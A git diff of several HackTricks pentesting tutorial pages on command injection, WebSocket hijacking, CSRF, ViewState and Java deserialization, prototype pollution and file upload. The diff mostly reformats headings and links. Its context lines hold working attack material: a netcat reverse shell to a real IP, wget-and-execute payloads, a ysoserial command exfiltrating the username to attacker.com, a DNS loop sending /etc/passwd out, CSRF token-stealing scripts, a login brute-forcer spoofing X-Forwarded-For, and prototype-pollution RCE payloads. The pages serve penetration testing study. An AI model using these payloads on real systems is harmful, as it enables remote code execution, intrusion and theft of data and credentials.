- -# What is command Injection? +## What is command Injection? OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)). -## Context +### Context Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands. -# Command Injection/Execution +## Command Injection/Execution ```bash #Both Unix and Windows supported @@ -45,11 +44,11 @@ ls; id # ; Chain commands < /etc/passwd #Try to send some input to the command ``` -## Bypasses +### Bypasses -If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this [**WAF bypasses**](../linux-unix/useful-linux-commands/bypass-bash-restrictions.md). +If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this [**WAF bypasses**](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md). -## **Examples:** +### **Examples:** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php @@ -57,9 +56,9 @@ vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -## Parameters +### Parameters -Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} @@ -89,7 +88,7 @@ Here are the top 25 parameters that could be vulnerable to code injection and si ?print={payload} ``` -## Time based data exfiltration +### Time based data exfiltration Extracting data : char by char @@ -105,7 +104,7 @@ user 0m0.000s sys 0m0.000s ``` -## DNS based data exfiltration +### DNS based data exfiltration Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca @@ -124,32 +123,31 @@ Online tools to check for DNS based data exfiltration: * dnsbin.zhack.ca * pingb.in -## Filtering bypass +### Filtering bypass -### Windows +#### Windows ``` powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc ``` -### Linux +#### Linux -{% content-ref url="../linux-unix/useful-linux-commands/bypass-bash-restrictions.md" %} -[bypass-bash-restrictions.md](../linux-unix/useful-linux-commands/bypass-bash-restrictions.md) +{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} +[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} -# Brute-Force Detection List +## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} -# References +## References {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %} {% embed url="https://portswigger.net/web-security/os-command-injection" %} -
Support HackTricks and get benefits! @@ -165,5 +163,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting-web/cross-site-websocket-hijacking-cswsh.md b/pentesting-web/cross-site-websocket-hijacking-cswsh.md index 5d8ea619..32e07146 100644 --- a/pentesting-web/cross-site-websocket-hijacking-cswsh.md +++ b/pentesting-web/cross-site-websocket-hijacking-cswsh.md @@ -1,4 +1,4 @@ - +# Cross-site WebSocket hijacking (CSWSH)
@@ -16,13 +16,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# What are WebSockets +## What are WebSockets WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\ WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data. -# How are WebSocket connections established? +## How are WebSocket connections established? (Here you will find a summary but a **more detailed guide about how a web socket connection** is created can be found [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\ WebSocket connections are normally created using client-side JavaScript like the following: @@ -67,7 +66,7 @@ Several **features** of the WebSocket **handshake** messages are worth noting: The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (_It's not a CSRF token_). -## Linux console +### Linux console You can use `websocat` to stablish a raw connection with a websocket. @@ -81,20 +80,20 @@ Or to create a websocat server: websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` -# MitM websocket connections +## MitM websocket connections -If you find that clients are connection to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../pentesting/pentesting-network/#arp-spoofing) to perform a MitM attack between the client and the server.\ +If you find that clients are connection to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\ Once the client is trying to connect to you you can use: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` -# Websockets Enumeration +## Websockets Enumeration You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically. -# Cross-site WebSocket hijacking (CSWSH) +## Cross-site WebSocket hijacking (CSWSH) Also known as _cross-origin WebSocket hijacking_.\ **It is a** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.** @@ -102,7 +101,7 @@ Also known as _cross-origin WebSocket hijacking_.\ It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\ An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application. -## Simple Attack +### Simple Attack Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**. @@ -123,7 +122,7 @@ function handleReply(event) { ``` -## Stealing data from user +### Stealing data from user Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code: @@ -154,18 +153,15 @@ Exposing the web application and making a user connect to it you will be able to sudo python3 -m http.server 80 ``` -# Other vulnerabilities +## Other vulnerabilities As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.** -# References +## References {% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %} - - -\ - +\\
@@ -182,5 +178,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md index e0903d12..a4697628 100644 --- a/pentesting-web/csrf-cross-site-request-forgery.md +++ b/pentesting-web/csrf-cross-site-request-forgery.md @@ -1,5 +1,7 @@ # CSRF (Cross Site Request Forgery) +## CSRF (Cross Site Request Forgery) +
Support HackTricks and get benefits! @@ -16,19 +18,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# What is CSRF? +## What is CSRF? **Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\ This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**. -## Requisites +### Requisites In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request. Several **counter-measures** could be in place to avoid this vulnerability. -## **Common defenses** +### **Common defenses** * [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites. * [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._ @@ -40,27 +41,27 @@ Several **counter-measures** could be in place to avoid this vulnerability. * **Modify** the **name** of the **parameters** of the Post or Get request * Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS. -## CSRF map +### CSRF map -![](<../.gitbook/assets/image (112).png>) +![](<../.gitbook/assets/image (307) (1).png>) -# Defences Bypass +## Defences Bypass -## From POST to GET +### From POST to GET Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**. -## Lack of token +### Lack of token Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.\ In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack. -## CSRF token is not tied to the user session +### CSRF token is not tied to the user session Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.\ In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack. -## Method bypass +### Method bypass If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\ For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ @@ -71,14 +72,14 @@ This could also works sending the **\_method parameter inside the a POST request * _X-HTTP-Method-Override_ * _X-Method-Override_ -## Custom header token bypass +### Custom header token bypass If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then: * Test the request without the **Customized Token and also header.** * Test the request with exact **same length but different token**. -## CSRF token is verified by a cookie +### CSRF token is verified by a cookie In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**. @@ -106,7 +107,7 @@ In this case you can set the cookie trying to load a fake image and then launch Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself. {% endhint %} -## Content-Type change +### Content-Type change According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values: @@ -131,7 +132,7 @@ Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sendi ``` -## application/json preflight request bypass +### application/json preflight request bypass As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\ However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\ @@ -141,7 +142,7 @@ If the server is only accepting the content type "application/json", you can **s You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -## Referrer / Origin check bypass +### Referrer / Origin check bypass **Avoid Referrer header** @@ -178,13 +179,13 @@ To set the domain name of the server in the URL that the Referrer is going to se ``` -# **Exploit Examples** +## **Exploit Examples** -## **Exfiltrating CSRF Token** +### **Exfiltrating CSRF Token** If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. -## **GET using HTML tags** +### **GET using HTML tags** ```markup @@ -196,7 +197,7 @@ Other HTML5 tags that can be used to automatically send a GET request are: ![](<../.gitbook/assets/image (530).png>) -## Form GET request +### Form GET request ```markup @@ -214,7 +215,7 @@ Other HTML5 tags that can be used to automatically send a GET request are: ``` -## Form POST request +### Form POST request ```markup @@ -232,7 +233,7 @@ Other HTML5 tags that can be used to automatically send a GET request are: ``` -## Form POST request through iframe +### Form POST request through iframe ```markup @@ -337,7 +338,7 @@ function envia(){document.getElementById("formulario").submit();}

Sitio bajo mantenimiento. Disculpe las molestias

``` -## **Steal CSRF Token and send a POST request** +### **Steal CSRF Token and send a POST request** ```javascript function submitFormWithTokenJS(token) { @@ -386,7 +387,7 @@ var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` -## **Steal CSRF Token and send a Post request using an iframe, a form and Ajax** +### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax** ```markup
@@ -408,7 +409,7 @@ function f1(){ ``` -## **Steal CSRF Token and sen a POST request using an iframe and a form** +### **Steal CSRF Token and sen a POST request using an iframe and a form** ```markup @@ -428,7 +429,7 @@ function read() ``` -## **Steal token and send it using 2 iframes** +### **Steal token and send it using 2 iframes** ```markup ``` -## CSRF with Socket.IO +### CSRF with Socket.IO ```markup @@ -512,7 +513,7 @@ socket.on('connect', () => { ``` -# CSRF Login Brute Force +## CSRF Login Brute Force The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting): @@ -560,11 +561,11 @@ with open(PASS_LIST, "r") as f: login(USER, line.strip()) ``` -# Tools +## Tools * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) -# References +## References * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) diff --git a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index f5a4d159..44504713 100644 --- a/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -1,5 +1,7 @@ # Exploiting \_\_VIEWSTATE without knowing the secrets +## Exploiting \_\_VIEWSTATE without knowing the secrets +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# What is ViewState +## What is ViewState **ViewState** is the method that the ASP.NET framework uses by default to p**reserve page and control values between web pages**. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.\ The following properties or combination of properties apply to ViewState information: @@ -29,11 +30,11 @@ The following properties or combination of properties apply to ViewState informa * Base64 + Encrypted * Can be defined using viewStateEncryptionMode attribute set to true -# **Test Cases** +## **Test Cases** -![](<../../.gitbook/assets/image (309) (1).png>) +![](<../../.gitbook/assets/image (309).png>) -## Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false +### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in: @@ -53,13 +54,13 @@ If Mac is not used to protect the parameter you can exploit it using [**YSoSeria ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` -## Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server +### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\ One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\ However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**. -## Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false +### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file: @@ -109,7 +110,7 @@ In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you --apppath="/" --path="/hello.aspx" ``` -## Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true In this case Burp doesn't find if the parameter is protected with MAC because it doesn't recognise the values. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability. @@ -125,7 +126,7 @@ Threfore, if the Machinekey is known (e.g. via a directory traversal issue), [** ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png) -## Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false +### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below. @@ -169,7 +170,7 @@ If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--ge If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) -## Test Case 6 – ViewStateUserKeys is being used +### Test Case 6 – ViewStateUserKeys is being used The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload won’t be processed by the application**.\ You need to use one more parameter in order to create correctly the payload: @@ -178,7 +179,7 @@ You need to use one more parameter in order to create correctly the payload: --viewstateuserkey="randomstringdefinedintheserver" ``` -## Result of a Successful Exploitation +### Result of a Successful Exploitation For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB request as shown in Figures below: @@ -188,7 +189,7 @@ out of band request with the current username ![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png) -# References +## References * [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) * [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ diff --git a/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md index 61724b4d..60b1a3f0 100644 --- a/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md +++ b/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md @@ -1,5 +1,7 @@ # Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner +## Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# DNS request on deserialization +## DNS request on deserialization The class `java.net.URL` implements `Serializable`, this means that this class can be serialized. @@ -82,7 +83,7 @@ You can see that a `getHostAddress` is executed to the domain, **launching a DNS Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution). -## URLDNS payload code example +### URLDNS payload code example You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial): @@ -149,41 +150,41 @@ class SilentURLStreamHandler extends URLStreamHandler { } ``` -## More information +### More information * [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) * In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) -# GadgetProbe +## GadgetProbe You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender). **GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit. -## How does it work +### How does it work **GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**. Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested. -![](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>) +![](<../../.gitbook/assets/intruder4 (1) (1).gif>) -## More Information +### More Information * [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) -# Java Deserialization Scanner +## Java Deserialization Scanner This scanner can be **download** from the Burp App Store (**Extender**).\ The **extension** has **passive** and active **capabilities**. -## Passive +### Passive By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found: ![](<../../.gitbook/assets/image (290).png>) -## Active +### Active **Manual Testing** @@ -201,7 +202,7 @@ I this tab you have to **select** the **injection point** again, an **write** th ![](<../../.gitbook/assets/4 (1).png>) -## Java Deserialization DNS Exfil information +### Java Deserialization DNS Exfil information Make your payload execute something like the following: @@ -209,7 +210,7 @@ Make your payload execute something like the following: (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` -## More Information +### More Information * [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 9fda6ebc..3cd271f3 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -1,5 +1,7 @@ # NodeJS - \_\_proto\_\_ & prototype Pollution +## NodeJS - \_\_proto\_\_ & prototype Pollution +
Support HackTricks and get benefits! @@ -16,12 +18,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Objects in JavaScript +## Objects in JavaScript First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example: -![](<../../../.gitbook/assets/image (389) (1).png>) +![](<../../../.gitbook/assets/image (356).png>) In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties. @@ -33,7 +34,7 @@ console.log(Object.create(null)); // prints an empty object Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}` -# Functions / Classes in Javascript +## Functions / Classes in Javascript In Javascript, the concepts of the class and the function are quite interrelated (the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript). Let’s see the following example: @@ -55,7 +56,7 @@ var person1 = new person("Satoshi", 70); ![](<../../../.gitbook/assets/image (362).png>) -# Prototypes in JavaScript +## Prototypes in JavaScript One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added: @@ -67,7 +68,7 @@ Functions of the class can also be modified (like `toString` or `valueOf` the fo ![](<../../../.gitbook/assets/image (365).png>) -# Inheritance +## Inheritance In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object. @@ -75,7 +76,7 @@ Note that, if you add a property to an object that is used as the prototype for ![](<../../../.gitbook/assets/image (366).png>) -# \_\_proto\_\_ pollution +## \_\_proto\_\_ pollution You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!** @@ -112,7 +113,7 @@ person1.globalconstant //This now works and is "true" So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant` -# prototype pollution +## prototype pollution This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**. @@ -156,7 +157,7 @@ something.constructor.prototype.sayHey = function(){console.log("Hey!")} After executing that code, **each JS object will be able to execute the function `sayHey`**. -## Array elements pollution +### Array elements pollution Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written). @@ -170,9 +171,9 @@ b[1] //"yolo" c[1] // 2 -- not ``` -# Examples +## Examples -## Basic Example +### Basic Example So where’s the prototype pollution? It happens when there’s a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following: @@ -192,13 +193,13 @@ However, the attack is not as simple as the one above, according to [paper](http * Property definition by path * Clone object -## Override function +### Override function ```python customer.__proto__.toString = ()=>{alert("polluted")} ``` -## RCE Example +### RCE Example Imagine a real JS using some code like the following one: @@ -270,7 +271,7 @@ Going back to the initial example if you substitute the `USERINPUT` with the fol {"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}} ``` -## CVE-2019–11358: Prototype pollution attack through jQuery $ .extend +### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend $ .extend, if handled incorrectly, can change the properties of the object `prototype`(the template of the objects in the app). This attribute will then appear on all objects. Note that only the “deep” version (ie g) of $ .extened is affected. @@ -297,7 +298,7 @@ console.log({}.devMode); // true These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018. -## CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash +### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash [Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery. @@ -307,18 +308,18 @@ These errors can affect a lot of Javascript projects, especially NodeJS projects This bug affects all versions of Lodash, already fixed in version 4.17.11. -## Another tutorial with CVEs +### Another tutorial with CVEs {% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} -# AST Prototype Pollution +## AST Prototype Pollution In NodeJS, AST is used in JS really often, as template engines and typescript etc.\ For the template engine, the structure is as shown above. ![img](https://blog.p6.is/img/2020/08/graph\_3.jpg) -## Handlebars +### Handlebars Info taken from [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/) @@ -524,7 +525,7 @@ requests.post(TARGET_URL + '/vulnerable', json = { requests.get(TARGET_URL) ``` -## Pug +### Pug More info in [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug) @@ -545,13 +546,13 @@ requests.post(TARGET_URL + '/vulnerable', json = { requests.get(TARGET_URL) ``` -# Client-side prototype pollution to XSS +## Client-side prototype pollution to XSS {% content-ref url="client-side-prototype-pollution.md" %} [client-side-prototype-pollution.md](client-side-prototype-pollution.md) {% endcontent-ref %} -# What can I do to prevent? +## What can I do to prevent? * Freeze properties with Object.freeze (Object.prototype) * Perform validation on the JSON inputs in accordance with the application’s schema @@ -560,7 +561,7 @@ requests.get(TARGET_URL) * Use `Map`instead of `Object` * Regularly update new patches for libraries -# Reference +## Reference * [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) * [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l) diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md index f8d7a53a..33284146 100644 --- a/pentesting-web/file-upload/README.md +++ b/pentesting-web/file-upload/README.md @@ -1,5 +1,7 @@ # File Upload +## File Upload +
Support HackTricks and get benefits! @@ -16,17 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# File Upload +## File Upload -## File Upload General Methodology +### File Upload General Methodology Other useful extensions: @@ -38,7 +38,7 @@ Other useful extensions: * **Perl**: _.pl, .cgi_ * **Erlang Yaws Web Server**: _.yaws_ -### Bypass file extensions checks +#### Bypass file extensions checks 1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._ 2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_ @@ -81,14 +81,14 @@ Other useful extensions: AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type & magic number +#### Bypass Content-Type & magic number 1. Bypass Content-Type checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) 2. 